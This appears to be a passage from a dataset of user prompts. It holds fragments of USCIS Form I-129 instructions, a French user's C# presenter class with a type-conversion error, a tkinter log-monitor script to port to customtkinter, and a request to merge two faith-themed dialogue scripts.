is required. The alien must have critical skills and\nexperience with the O-1 which must not be of a general nature or possessed by U.S. workers.\nWrite O-2 in the classification block.\nForm I-129 Instructions 11/02/22 Page 19 of 30\nThis form must be filed in conjunction with an O-1 petition and filed with:\n1. A written consultation (see General Evidence);\nA. If it is for support of an athlete or an alien with extraordinary ability in the arts, the consultation must be from an\nappropriate labor organization; or\nB. If it is for support of an alien with extraordinary achievement in motion pictures or television, the consultation\nmust be from an appropriate labor organization and management organization.\n2. Evidence of the current essentiality, critical skills, and experience of the O-2 with the O-1 and evidence that the alien\nhas substantial experience performing the critical skills and essential support services for the O-1 alien. In the case\nof a specific motion picture or television production, the evidence must establish that significant production has taken\nplace outside the United States, and will take place inside the United States, and that the continuing participation of\nthe alien is essential to the successful completion of the production.\nP-1A or P-1 Major League Sports\nThe P-1A classification is for aliens coming to the United States temporarily to perform at a specific athletic\ncompetition as an individual or as part of a group or team participating at an internationally recognized level of\nperformance.\nP-1 Major League Sports classification is for an association of teams or clubs that compete chiefly among themselves\nwhich include major league athletes, minor league sports, and any affiliates associated with the major leagues including\nbut not limited to baseball, hockey, soccer, basketball, and football. Support personnel for Major League Sports include\ncoaches, trainers, broadcasters, referees, linesmen, umpires, and interpreters.\nWrite P-1A in the classification block.\nThe petition must be filed with:\n1. A written consultation (see General Evidence);\n2. A copy of the contract with a major U.S. sports league or team or a contract in an individual sport commensurate with\nnational or international recognition in the sport, if such contracts are normally utilized in the sport; and\n3. Evidence of at least two of the following:\nA. Significant participation in a prior season with a major U.S. sports league;\nB. Significant participation in a prior season for a U.S. college or university in intercollegiate competition;\nC. Participation in international competition with a national team;\nD. A written statement from a member of the sports media or a recognized expert in the sport which details how the\nbeneficiary or team is internationally recognized;\nE. A written statement from an official of a major U.S. sports league or official of the governing body for a sport that\ndetails how the beneficiary or team is internationally recognized;\nF. That the beneficiary or team is ranked, if the sport has international rankings; or\nG. That the beneficiary or team has received a significant honor or award in the sport.\nP-1B Entertainer or Entertainment Group\nThe P-1B classification is for aliens coming to the United States temporarily to perform as a member of an\nentertainment group that has been recognized internationally as outstanding in the discipline for a substantial\nperiod of time, and who has had a sustained relationship with the group (ordinarily for at least 1 year).\nWrite P-1B in the classification block.\nThe petition must be filed with:\n1. A written consultation (see General Evidence);\nForm I-129 Instructions 11/02/22 Page 20 of 30\n2. Evidence that the beneficiary or group is internationally recognized in the discipline as demonstrated by the\nsubmission of evidence of the group’s receipt of or nomination for significant international awards or prizes for\noutstanding achievement, or evidence of at least two of the following:\nA. The beneficiary or group has performed, and will perform as a starring or leading group in productions or events\nwith a distinguished reputation;\nB. The beneficiary or group has achieved international recognition and acclaim for outstanding achievement in the\nfield;\nC. The group has performed, and will perform, services as a star or leading group for organizations and\nestablishments that have a distinguished reputation;\nD. The beneficiary or group has a record of major commercial or critically acclaimed success;\nE. The beneficiary or group has received significant recognition for achievements from critics, organizations,\ngovernment agencies, or other recognized experts in the field; or\nF. The beneficiary or group commands a high salary or other substantial remuneration for services compared to other\nsimilarly situated in the field.\n3. Evidence that 75 percent of the members of the group have had a sustained and substantial relationship with the group\nfor at least 1 year. Provide a list of the alien’s functions which are integral to the group’s performance.\nBy filing for a P-1 group, the petitioner certifies that at least 75 percent of the group members have been performing\nregularly together for at least 1 year. The 1-year requirement does not apply to circus groups coming to perform with\nnationally recognized circuses.\nAttach a separate statement to the form to request a waiver of:\n1. The 1-year relationship requirement due to exigent circumstances; or\n2. The international recognition requirement (1) due to emergent circumstances, or (2) because the group has been\nnationally recognized as outstanding in its discipline for a sustained and substantial period of time.' -'Section 3. Numerical Limitation Information (continued)\n3. If you answered Item Number 1.d. "CAP Exempt," you must specify the reason(s) this petition is exempt from the numerical\nlimitation for H-1B classification:\nThe petitioner is an institution of higher education as defined in section 101(a) of the Higher Education Act, of 1965,\n20 U.S.C. 1001(a).\nThe petitioner is a nonprofit entity related to or affiliated with an institution of higher education as defined in 8 CFR\n214.2(h)(8)(ii)(F)(2).\nThe petitioner is a nonprofit research organization or a governmental research organization as defined in 8 CFR\n214.2(h)(8)(ii)(F)(3).\nThe beneficiary will be employed at a qualifying cap exempt institution, organization or entity pursuant to 8 CFR\n214.2(h)(8)(ii)(F)(4).\nThe beneficiary of this petition is a J-1 nonimmigrant physician who has received a waiver based on section 214(l)\nof the Act.\nThe petitioner is requesting an amendment to or extension of stay for the beneficiary\'s current H-1B classification.\nThe beneficiary of this petition has been counted against the cap and (1) is applying for the remaining portion of the\n6 year period of admission, or (2) is seeking an extension beyond the 6-year limitation based upon sections 104(c) or\n106(a) of the American Competitiveness in the Twenty-First Century Act (AC21).\nThe petitioner is an employer subject to the Guam-CNMI cap exemption pursuant to Public Law 110-229.\nSection 4. Off-Site Assignment of H-1B Beneficiaries\n1. The beneficiary of this petition will be assigned to work at an off-site location for all or part of the\nperiod for which H-1B classification sought.\n3. The beneficiary will be paid the higher of the prevailing or actual wage at any and all off-site locations.\n2. Placement of the beneficiary off-site during the period of employment will comply with the statutory\nand regulatory requirements of the H-1B nonimmigrant classification.\nYes No\nYes\nYes No\nNo\nIf no, do not complete Item Numbers 2. and 3.\na.\nb.\nc.\nd.\ne.\nf.\ng.\nh.\n Page 21 of 36\nForm I-129 Edition 11/02/22\nL Classification Supplement to Form I-129\nDepartment of Homeland Security\nU.S. Citizenship and Immigration Services\nUSCIS\nForm I-129\nOMB No. 1615-0009\nExpires 11/30/2025\nName of the Petitioner\nName of the Beneficiary\n1.\n2.\n3. This petition is (select only one box):\n4.a. Does the petitioner employ 50 or more individuals in the U.S.?\n4.b. If yes, are more than 50 percent of those employee in H-1B, L-1A, or L-1B nonimmigrant status?\n a. An individual petition b. A blanket petition\nNo\nYes No\nYes\nSection 1. Complete This Section If Filing For An Individual Petition\n1. Classification sought (select only one box):\n2. List the beneficiary\'s and any dependent family member\'s prior periods of stay in an H or L classification in the United States\nfor the last seven years. Be sure to list only those periods in which the beneficiary and/or family members were physically\npresent in the U.S. in an H or L classification. Do not include periods in which the beneficiary was in a dependent status, for\nexample, H-4 or L-2 status. If more space is needed, go to Part 9. of Form I-129.\nSubject\'s Name Period of Stay (mm/dd/yyyy)\nFrom To\na. L-1A manager or executive b. L-1B specialized knowledge\nCity or Town State ZIP Code\nStreet Number and Name Apt. Ste. Flr. Number\n3. Name of Employer Abroad\n4. Address of Employer Abroad\nProvince Postal Code Country\nNOTE: Submit photocopies of Forms I-94, I-797, and/or other USCIS issued documents noting these periods of stay in the H\nor L classification. (If more space is needed, attach an additional sheet.)\n Page 22 of 36\nForm I-129 Edition 11/02/22\nSection 1. Complete This Section If Filing For An Individual Petition (continued)\n5. Dates of beneficiary\'s employment with this employer. Explain any interruptions in employment.\nDates of Employment (mm/dd/yyyy)\nFrom To Explanation of Interruptions\n6. Describe the beneficiary\'s duties abroad for the 3 years preceding the filing of the petition. (If the beneficiary is currently inside the\nUnited States, describe the beneficiary\'s duties abroad for the 3 years preceding the beneficiary\'s admission to the United States.)\n8. Summarize the beneficiary\'s education and work experience.\n7. Describe the beneficiary\'s proposed duties in the United States.\n9. How is the U.S. company related to the company abroad? (select only one box)\na. Parent b. Branch c. Subsidiary d. Affiliate e. Joint Venture\n Page 23 of 36\nForm I-129 Edition 11/02/22\n10. Describe the percentage of stock ownership and managerial control of each company that has a qualifying relationship. Provide\nthe Federal Employer Identification Number for each U.S. company that has a qualifying relationship.\nPercentage of company stock ownership and managerial control of\neach company that has a qualifying relationship.\nFederal Employer Identification Number for each\nU.S. company that has a qualifying relationship\nSection 1. Complete This Section If Filing For An Individual Petition (continued)\n11. Do the companies currently have the same qualifying relationship as they did during the one-year period of the alien\'s\nemployment with the company abroad?\n12. Is the beneficiary coming to the United States to open a new office?\nIf you are seeking L-1B specialized knowledge status for an individual, answer the following question:\nWill the beneficiary be stationed primarily offsite (at the worksite of an employer other than the petitioner or its affiliate,\nsubsidiary, or parent)?\nIf you answered yes to the preceding question, describe how and by whom the beneficiary\'s work will be controlled and\nsupervised. Include a description of the amount of time each supervisor is expected to control and supervise the work. If you\nneed additional space to respond to this question, proceed to Part 9. of the Form I-129, and type or print your explanation.\n13.c. If you answered yes to the preceding question, describe the reasons why placement at another worksite outside the petitioner,\nsubsidiary, affiliate, or parent is needed. Include a description of how the beneficiary\'s duties at another worksite relate to the\nneed for the specialized knowledge he or she possesses. If you need additional space to respond to this question, proceed to\nPart 9. of the Form I-129, and type or print your explanation.\n13.b.\nYes No. If no, provide an explanation in Part 9. of Form I-129 that the U.S. company has and will have a qualifying\nrelationship with another foreign entity during the full period of the requested period of stay.\nYes\nYes No\nNo (attach explanation)\n13.a.\n Page 24 of 36\nForm I-129 Edition 11/02/22\nSection 2. Complete This Section If Filing A Blanket Petition\nList all U.S. and foreign parent, branches, subsidiaries, and affiliates included in this petition. (Attach separate sheets of paper if\nadditional space is needed.)\nName and Address Relationship\nSection 3. Additional Fees\nNOTE: A petitioner that seeks initial approval of L nonimmigrant status for a beneficiary, or seeks approval to employ an L\nnonimmigrant currently working for another employer, must submit an additional $500 Fraud Prevention and Detection fee. For\npetitions filed on or after December 18, 2015, you must submit an additional fee of $4,500 if you responded yes to both questions in\nItem Numbers 4.a. and 4.b. on the first page of this L Classification Supplement. This $4,500 fee is mandated by the provisions of\nPublic Law 114-113.\nThese fees, when applicable, may not be waived. You must include payment of the fees with your submission of this form. Failure\nto submit the fees when required will result in rejection or denial of your submission. Each of these fees should be paid by separate\nchecks or money orders.\n Page 25 of 36' -'cela entraine une erreur dans ce fichier \nusing Bindables;\nusing Entities.AccessRights;\nusing Logging;\nusing Shared;\nusing System;\nusing System.Collections.Generic;\nusing System.Collections.ObjectModel;\nusing System.ComponentModel;\nusing System.Linq;\nusing System.Threading;\nusing System.Threading.Tasks;\nusing System.Windows.Controls;\nusing System.Windows.Threading;\nusing UserControlsCommon.Filters;\nusing UserControlsCommon.Helpers;\nusing UserControlsCommon.IPresenters;\nusing UserControlsCommon.IViews;\nusing UserControlsCommon.Models;\nusing UserControlsCommon.Profiles;\n\nnamespace UserControlsCommon.Presenters\n{\n public abstract class EntityListPresenterBase : EntityPresenterBase, IEntityListPresenter\n {\n #region Attributes\n\n //CancellationTokenSource of the last requested search so we can cancel it at will\n protected CancellationTokenSource \\_searchCancellationTokenSource;\n protected TaskQueue \\_searchTaskQueue;\n //The task processing the search which we can await for\n protected Task \\_searchingTask;\n\n bool \\_disposed;\n\n #endregion\n\n #region Properties\n\n protected ApplicationManagerBase ListApplicationManager { get; set; }\n\n public bool DoSearchFlag { get; set; }\n\n protected bool FirstSearchFromInit { get; set; }\n\n /// \n /// Provide better performance to navigate from add page to list page\n /// And init filters and actions only one time\n /// Set this property when must force init filters and actions\n /// \n public bool MustInitFiltersAndActions { get; set; } = true;\n\n public List FilterState { get; set; }\n public List InstantFilterState { get; set; }\n\n #region Implementation IEntityListPresenter\n\n private LeasesManager \\_leasesManager;\n public LeasesManager LeasesManager\n {\n get\n {\n if (\\_leasesManager == null)\n {\n \\_leasesManager = new LeasesManager();\n }\n\n return \\_leasesManager;\n }\n }\n\n public EventHandler OnForceRefreshSorting { get; set; }\n\n public bool IsEntitySelectionMode { get; set; }\n\n public RightsGroupType RightsGroup { get; set; }\n\n #endregion\n\n #endregion\n\n #region Dependency Properties\n\n [DependencyProperty]\n public LoadingProcessInformation LoadingProcessInformation { get; set; }\n\n #region IEntityListPresenter\n\n [DependencyProperty]\n public ObservableCollection Objects { get; set; }\n\n #endregion\n\n #endregion\n\n #region Constructor\n\n protected EntityListPresenterBase(IEntityListView view, EntityManagementPresenterBase manager)\n {\n //Could use Task.CompletedTask on .net 4.6+\n \\_searchTaskQueue = new TaskQueue();\n \n Manager = manager;\n\n \\_view = view;\n LoadingProcessInformation = new LoadingProcessInformation();\n Objects = new ObservableCollection();\n DoSearchFlag = true;\n }\n\n #endregion\n\n #region Methods\n\n private async Task SearchExecuteAsync(CancellationToken cancellationToken)\n {\n IDynamicWindowPresenter dwc = null;\n\n if (cancellationToken.IsCancellationRequested)\n {\n return;\n }\n\n try\n {\n dwc = ((UserControl)\\_view).GetParentWindowPresenter();\n if (dwc != null)\n {\n dwc.Searching = true;\n }\n\n ObservableCollection asyncRes = null;\n try\n {\n asyncRes = await SearchAsync();\n }\n catch (Exception e)\n {\n UserControlHelper.HandleCatchedException(e);\n Logger.Get().Error("SearchAsync exception: " + e.Message);\n }\n\n //There is no need to display the result if the search has been canceled or failed\n if (cancellationToken.IsCancellationRequested)\n {\n return;\n }\n\n if (asyncRes != null)\n {\n SearchDisplay(asyncRes);\n }\n }\n catch (Exception ex)\n {\n Logger.Get().Debug(ex?.Message, ex);\n }\n finally\n {\n if (dwc != null)\n {\n dwc.Searching = false;\n }\n }\n }\n\n /// \n /// la fonction asynchrone de search\n /// Retourne la nouvelle valeur de "Objects" sans la mettre à jour.\n /// C\'est SearchParent qui fera un BeginInvoke\n /// Cette fonction doit pouvoir être annulée => ne doit pas mettre à jour de données\n /// \n /// \n /// \n /// GAV : le commentaire au dessus n\'est certainement plus d\'actualité, il faudrait voir\n /// dans quels cas la méthode SearchAsync peut être annulée\n /// \n protected abstract Task> SearchAsync();\n\n /// \n /// la fonction SearchAsync ne doit pas mettre à jour des données de la classe, \n /// pour ce faire utilisez SearchDisplay\n /// \n /// \n protected virtual void SearchDisplay(ObservableCollection obj)\n {\n Dispatcher.BeginInvoke(DispatcherPriority.Background,\n (SendOrPostCallback)delegate\n {\n Objects = obj;\n }, obj);\n }\n\n protected bool IsSearching => !(\\_searchingTask?.IsCompleted ?? true);\n\n protected abstract void InitActions();\n\n protected abstract void InitFilters();\n\n protected abstract void InitInstantFilters();\n\n protected abstract void InitContextualAction();\n\n protected virtual void FilterPropertyChanged(object sender, PropertyChangedEventArgs e)\n {\n if (Manager?.Filters == null\n || Manager.Filters.Count == 0)\n {\n return;\n }\n\n FilterState = Manager.Filters.ToList();\n FilterData currentFiltre = sender as FilterData;\n\n switch (e?.PropertyName)\n {\n case nameof(FilterData.IsChecked):\n Manager.UpdateActiveFlyoutFiltersCount();\n break;\n case nameof(FilterData.Value):\n if (currentFiltre != null)\n {\n currentFiltre.IsChecked = currentFiltre.Value != null || currentFiltre.Values != null;\n }\n Manager.UpdateActiveFlyoutFiltersCount();\n\n QueueSearch();\n break;\n }\n }\n\n protected virtual void InstantFilterStatePropertyChanged(object sender, PropertyChangedEventArgs e)\n {\n InstantFilterState = Manager.InstantFilters.ToList();\n }\n\n #endregion\n\n #region Implementation IEntityListPresenter\n #region Implementation IPresenter\n\n public virtual void Init()\n {\n FirstSearchFromInit = true;\n\n if (MustInitFiltersAndActions)\n {\n InitActions();\n }\n\n Dispatcher.BeginInvoke(DispatcherPriority.Normal,\n (ThreadStart)(() =>\n {\n if (Manager != null)\n {\n Manager.SetActionsBindings();\n }\n }));\n\n if (MustInitFiltersAndActions)\n {\n InitFilters();\n if (Manager?.Filters != null)\n {\n SetFocusForFilters();\n FilterState = Manager.Filters.ToList();\n }\n InitInstantFilters();\n }\n\n InitContextualAction();\n\n if (DoSearchFlag)\n {\n QueueSearch();\n }\n\n FirstSearchFromInit = false;\n MustInitFiltersAndActions = false;\n }\n\n /// \n /// Sets the focus on the first textbox filter\n /// \n /// \n /// Can be overriden to change this behavior\n /// \n protected virtual void SetFocusForFilters()\n {\n var firstTextBox = Manager.Filters.FirstOrDefault(f => f.Mode == FilterMode.Text);\n if (firstTextBox != null)\n {\n firstTextBox.MustFocus = true;\n }\n }\n\n #region Implementation IDisposable\n\n /// \n /// Exécute les tâches définies par l\'application associées à la libération ou à la redéfinition des ressources non managées.\n /// \n /// 2\n public void Dispose()\n {\n Dispose(true);\n GC.SuppressFinalize(this);\n }\n\n protected virtual void Dispose(bool disposing)\n {\n if (\\_disposed)\n {\n return;\n }\n\n if (disposing)\n {\n if (Objects != null)\n {\n foreach (var o in Objects.OfType())\n {\n o.Dispose();\n }\n\n Objects.Clear();\n Objects = null;\n }\n\n if (FilterState != null)\n {\n FilterState.Clear();\n FilterState = null;\n }\n\n if (InstantFilterState != null)\n {\n InstantFilterState.Clear();\n InstantFilterState = null;\n }\n\n Manager = null;\n \\_view = null;\n }\n\n \\_disposed = true;\n }\n\n #endregion\n\n #endregion\n\n public void SwitchToSelectionMode(List defaultFilters = null)\n {\n IsEntitySelectionMode = true;\n Manager.FiltersDefaultValue = defaultFilters;\n\n // Réinitialisation des filtres, si ceux-ci avaient été sauvegardés antérieurement\n if (FilterState != null)\n {\n FilterState = null;\n\n // Réinitialisation du booléen pour refaire le lock de tous les filtres au prochain appel à la méthode SetFilters.\n // La méthode SetFilters est habituellement appelée dans l\'implémentation de la méthode InitFilters (elle-même appelée ci-dessous).\n // Pour plus de contexte, voir les méthodes suivantes : \n // \\* ToolBarsManagementPresenter.SetFilters\n // \\* FilterData.LockState\n // \\* FilterData.ReinitFilter\n // \\* N\'importe quelle implémentation de la méthode InitFilters, par exemple dans ServiceProvidedListPresenter.\n Manager.MustLockFilters = true;\n }\n\n InitFilters();\n }\n\n public void QueueSearch()\n {\n \\_ = QueueSearchAsync();\n }\n\n public async Task QueueSearchAsync()\n {\n \\_searchCancellationTokenSource?.Cancel();\n \\_searchCancellationTokenSource = new CancellationTokenSource();\n var token = \\_searchCancellationTokenSource.Token;\n\n \\_searchingTask = \\_searchTaskQueue.EnqueueAsync(SearchExecuteAsync, token, Constants.Time.MILLISECONDS\\_PER\\_HALF\\_SECOND);\n\n await \\_searchingTask;\n }\n\n public void ResetFilters()\n {\n // Reset the filters\n if (Manager.Filters != null)\n {\n foreach (var filter in Manager.Filters)\n {\n filter.ReinitFilter();\n }\n }\n else\n {\n FilterState = null;\n InitFilters();\n }\n\n // Force re-init the instant filters\n InstantFilterState = null;\n InitInstantFilters();\n\n QueueSearch();\n }\n\n // Inutile de le déclarer en virtual ?\n public virtual void InitAfterGoBack()\n {\n }\n\n public bool CheckAccess(RightsActionType actionType, RightsFieldType? fieldType)\n {\n return RightsProfileHelper.SecureCommands(actionType, RightsGroup, fieldType);\n }\n\n public bool CheckAccess(RightsElementType elementType, RightsFieldType fieldType)\n {\n return RightsProfileHelper.IsCurrentUserAllowed(elementType, RightsGroup, fieldType);\n }\n\n #endregion\n }\n}\nvoila l\'erreur \nSeverity Code Description Project File Line Suppression State\nError CS0266 Cannot implicitly convert type \'UserControlsCommon.IViews.IEntityListView\' to \'UserControlsCommon.IViews.IEntityView\'. An explicit conversion exists (are you missing a cast?) UserControlsCommon E:\\Source\\Repos\\Saphir\\Saphir\\UserControlsCommon\\Presenters\\EntityListPresenterBase.cs 104 Active' -'working great. can you convert this latest final version to use customtkinter instead of tkinter?\n\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import filedialog\nimport datetime\nimport os\nimport time\n\npaths = [r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-alumni\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-atmos\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-creme123\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-footlocker-benEdit\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-kith\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-kith-benEdit\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-millennium\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-premier\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-shoe\\_palace\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-sneaker\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-sneaker\\_politics\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-supreme\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-undefeated\\shopify-monitor.log"]\n\ndef tail(f, window=1):\n """\n Returns the last `window` lines of file `f` as a list of bytes.\n """\n if window == 0:\n return b\'\'\n BUFSIZE = 1024\n f.seek(0, 2)\n end = f.tell()\n nlines = window + 1\n data = []\n while nlines > 0 and end > 0:\n i = max(0, end - BUFSIZE)\n nread = min(end, BUFSIZE)\n\n f.seek(i)\n chunk = f.read(nread)\n data.append(chunk)\n nlines -= chunk.count(b\'\\n\')\n end -= nread\n return b\'\\n\'.join(b\'\'.join(reversed(data)).splitlines()[-window:])\n\ndef get\\_recent\\_log\\_lines():\n current\\_time = datetime.datetime.now()\n live\\_monitors\\_data = []\n dead\\_monitors\\_data = []\n\n for x in range(len(paths)):\n with open(paths[x], \'rb\') as f:\n last\\_lines = tail(f, 1).decode(\'utf-8\')\n line\\_list = last\\_lines.splitlines()\n for y in range(len(line\\_list)):\n line\\_time = datetime.datetime(int(line\\_list[y][:4]), int(line\\_list[y][5:7]), int(line\\_list[y][8:10]), int(line\\_list[y][11:13]), int(line\\_list[y][14:16]), int(line\\_list[y][17:19]), int(line\\_list[y][20:23]))\n line\\_age = (current\\_time - line\\_time)\n name\\_split = paths[x][88:].split("\\\\", 1)\n values = [name\\_split[0], line\\_age]\n if line\\_age.total\\_seconds() < 600:\n live\\_monitors\\_data.append(values)\n else:\n dead\\_monitors\\_data.append(values)\n return live\\_monitors\\_data, dead\\_monitors\\_data\n\nsums\\_seconds = []\ncounts = []\n\ndef refresh\\_display():\n live\\_mons, dead\\_mons = get\\_recent\\_log\\_lines()\n\n listbox2.delete(0, tk.END)\n listbox2.insert(tk.END, "Live Monitors: ( " + str(len(live\\_mons)) + " )")\n live\\_mons\\_avg = []\n for mon in range(len(live\\_mons)):\n # Initialize the sum and count for each monitor\n if mon >= len(sums\\_seconds):\n sums\\_seconds.append(0)\n counts.append(0)\n # Get the total seconds\n seconds = live\\_mons[mon][1].total\\_seconds()\n # Add to the sum and increase the count\n sums\\_seconds[mon] += seconds\n counts[mon] += 1\n # Calculate the average\n average = sums\\_seconds[mon] / counts[mon]\n # Append the monitor name, seconds and average to the list\n live\\_mons\\_avg.append((live\\_mons[mon][0], round(seconds, 2), round(average, 2)))\n # Sort the list by the average\n sorted\\_live\\_mons = sorted(live\\_mons\\_avg, key=lambda x: x[2])\n # Print the sorted list\n for mon in range(len(sorted\\_live\\_mons)):\n listbox2.insert(tk.END,sorted\\_live\\_mons[mon][0] + ": " + str(sorted\\_live\\_mons[mon][1]) + " Average: " + str(sorted\\_live\\_mons[mon][2]))\n # Print the dead monitors\n listbox2.insert(tk.END, "")\n listbox2.insert(tk.END, "Dead Monitors: ( " + str(len(dead\\_mons)) + " )")\n for mon in range(len(dead\\_mons)):\n listbox2.insert(tk.END, dead\\_mons[mon][0] + ": " + str(round(dead\\_mons[mon][1].total\\_seconds(), 2)) )\n root.after(1000, refresh\\_display)\ndef button1\\_clicked():\n live\\_mons, dead\\_mons = get\\_recent\\_log\\_lines()\n\n listbox2.delete(0, tk.END)\n listbox2.insert(tk.END, "Live Monitors: ( " + str(len(live\\_mons)) + " )")\n live\\_mons\\_avg = []\n for mon in range(len(live\\_mons)):\n seconds = live\\_mons[mon][1].total\\_seconds()\n listbox2.insert(tk.END, live\\_mons[mon][0] + ": " + str(round(seconds, 2)) )\n listbox2.insert(tk.END, "Dead Monitors: ( " + str(len(dead\\_mons)) + " )")\n for mon in range(len(dead\\_mons)):\n listbox2.insert(tk.END, dead\\_mons[mon][0] + ": " + str(round(dead\\_mons[mon][1].total\\_seconds(), 2)) )\n pass\n\ndef button2\\_clicked():\n # code for button 2\n pass\n\ndef add\\_path():\n filepath = filedialog.askopenfilename()\n if filepath:\n paths.append(filepath)\n update\\_listbox()\n\ndef remove\\_path():\n selection = listbox1.curselection()\n if selection:\n index = int(selection[0])\n del paths[index]\n update\\_listbox()\n\ndef update\\_listbox():\n listbox1.delete(0, tk.END)\n for path in paths:\n listbox1.insert(tk.END, path)\n\nroot = tk.Tk()\nroot.geometry("1024x500")\nroot.title("MonMonGUI")\n\n# Create a frame for the buttons\nbutton\\_frame = tk.Frame(root)\nbutton\\_frame.pack(side=tk.LEFT, fill=tk.Y)\n\n# Create the buttons and add them to the button frame\nbutton1 = tk.Button(button\\_frame, text="Refresh MonMon", command=button1\\_clicked)\nbutton1.pack(fill=tk.X)\nbutton2 = tk.Button(button\\_frame, text="Button 2", command=button2\\_clicked)\nbutton2.pack(fill=tk.X)\nbutton3 = tk.Button(button\\_frame, text="Add File", command=add\\_path)\nbutton3.pack(fill=tk.X)\n\n# Create a Tab Control\nnotebook = ttk.Notebook(root)\nnotebook.pack(fill=tk.BOTH, expand=True)\n\n# Create Tab 1\ntab1 = ttk.Frame(notebook)\nlistbox1 = tk.Listbox(tab1)\nlistbox1.pack(fill=tk.BOTH, expand=True)\nnotebook.add(tab1, text="Product Monitors")\n\n# Create a remove button\nremove\\_button = tk.Button(tab1, text="Remove", command=remove\\_path)\nremove\\_button.pack(side=tk.BOTTOM, anchor=tk.SE)\n\nupdate\\_listbox()\n\n# Create Tab 2\ntab2 = ttk.Frame(notebook)\nnotebook.add(tab2, text="MonMon")\nlistbox2 = tk.Listbox(tab2)\nlistbox2.pack(fill=tk.BOTH, expand=True)\n\nroot.after(1000, refresh\\_display)\nroot.mainloop()' -"Can you consolidate the script below with the one you created above? Leave it in script form: Damian: Hey, John. Can I talk to you about something?\nJonathan: Of course, what's on your mind?\nDamian: I've been having doubts and fears about myself lately. I know I've done some pretty bad things in the past, and sometimes I wonder if I'm just too wicked to ever be forgiven.\nJonathan: I understand how you feel, Damian. I've struggled with those thoughts myself.\nDamian: (surprised) You have?\nJonathan: Yes, I have. There have been times when I've felt like I'm not good enough, like I don't deserve God's forgiveness.\nDamian: (thoughtful) But how do you deal with those feelings?\nJonathan: (pausing) Well, it's not easy. But I try to remember that God's love is unconditional. He doesn't forgive us because we deserve it, but because he loves us.\nDamian: (nodding slowly) I see. But what if I can't change who I am? What if I'm always going to be a bad person?\nJonathan: (hesitates) It's true that we can't change ourselves on our own. But when we trust in Jesus, he can change us from the inside out.\nDamian: (skeptical) How do you know that?\nJonathan: (pausing) Honestly, I don't always know. There are times when I feel like I'm still the same person I was before I started following Jesus. But I also know that I'm not alone in my struggles. And that gives me hope.\nDamian: (nodding slowly) I think I understand what you're saying. It's not about being perfect, but about trusting in something bigger than ourselves.\nJonathan: (smiling) Yes, exactly. And I'm here to support you, no matter what you believe.\nDamian: (grinning slightly) Thanks, John. I appreciate that.\nDamian: Hey, John. Can I talk to you about something?\nJonathan: Of course, what's on your mind?\nDamian: I've been having doubts and fears about myself lately. I know I've done some pretty bad things in the past, and sometimes I wonder if I'm just too wicked to ever be forgiven.\nJonathan: I understand how you feel, Damian. I've been there too.\nDamian: (surprised) You have?\nJonathan: Yes, I have. There was a time when I felt like I was beyond hope, like I was just too broken to ever be fixed.\nDamian: (thoughtful) What changed?\nJonathan: (pausing) Well, it wasn't one thing. It was a series of events that made me realize I needed something more in my life.\nDamian: (curious) What kind of events?\nJonathan: (takes a deep breath) My parents got divorced when I was young. That was really hard for me to deal with. And then, when I was a teenager, I got into a car accident that left me with a permanent scar on my face.\nDamian: (surprised) I had no idea. I'm sorry.\nJonathan: (smiling faintly) It's okay. The point is, those experiences made me realize that I needed something bigger than myself to get through life. And that's when I started exploring my faith.\nDamian: (nodding slowly) I see. But what if I'm just too far gone?\nJonathan: (shaking his head) That's not true, Damian. No one is beyond redemption. That's the amazing thing about God's love. It doesn't matter what we've done or how far we've strayed. He still loves us and wants us to come back to him.\nDamian: (thoughtful) I'm not sure I'm ready for that yet, John. But I appreciate your honesty.\nJonathan: (nodding) I understand. And I'm not trying to pressure you or anything. I just want you to know that you're not alone. We all make mistakes and we all need forgiveness. And I'm here for you, no matter what.\nDamian: (pausing) I appreciate that, John. But I don't know if I can believe in a God who would forgive someone like me.\nJonathan: (gentle) I know it's hard to believe, Damian. But that's what makes God's love so amazing. He doesn't forgive us because we deserve it, but because he loves us. And he's made a way for us to be forgiven, through Jesus.\nDamian: (skeptical) Jesus? The guy who got killed on a cross? I don't see how that helps me.\nJonathan: (smiling faintly) It might not make sense to you right now. But the reason Jesus died on the cross was to take the punishment for our sins, so that we could be forgiven and have eternal life with God.\nDamian: (thoughtful) I guess I can see how that might work. But what about all the terrible things I've done? How can I make up for them?\nJonathan: (pausing) You can't make up for them, Damian. But that's not the point. The point is that God's forgiveness isn't based on our track record. It's based on what Jesus did for us on the cross.\nDamian: (nodding slowly) I think I understand what you're saying. It's not about me being good enough, but about Jesus being good enough.\nJonathan: (smiling) Yes, exactly. And that's why we call it grace. It's a free gift that we can't earn or deserve. But when we accept it, it changes everything.\nDamian: (smiling faintly) Thanks, John. I needed to hear that. Maybe one day I'll be ready to accept that gift.\nJonathan: (grinning) I'll be here for you when you are, Damian. And so will Jesus.\nDamian: (pausing) I appreciate that, John. But there are things I've done that I'm so ashamed of, I don't know if I could ever be forgiven.\nJonathan: (understanding) I know how you feel, Damian. I used to think the same thing. But then I learned that forgiveness isn't 